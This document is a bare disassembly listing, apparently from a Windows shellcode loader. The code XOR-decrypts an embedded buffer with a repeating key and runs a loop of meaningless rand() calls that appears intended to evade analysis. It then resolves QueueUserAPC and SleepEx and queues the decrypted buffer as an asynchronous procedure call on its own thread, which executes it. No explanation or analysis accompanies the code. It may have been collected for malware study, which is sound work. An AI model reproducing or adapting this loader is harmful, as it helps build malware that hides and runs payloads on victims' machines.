jmp 0x140002af4
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x85c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x85c], 0x78
jne 0x1400029f0
mov dword [rbp + 0x85c], 0
jmp 0x1400029f7
add dword [rbp + 0x85c], 1
mov ecx, 0x31c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x848], 0
mov dword [rbp + 0x850], 0
jmp 0x140002ace
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002a9d
add dword [rbp + 0x84c], 1
jmp 0x140002ac7
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002ac7
add dword [rbp + 0x848], 1
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0xc6
jle 0x140002a2b
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x4f9
jle 0x14000299d
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6b8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8a0]
add rsp, 0x938
pop rbx
pop rsi
pop rdi
pop rbp
ret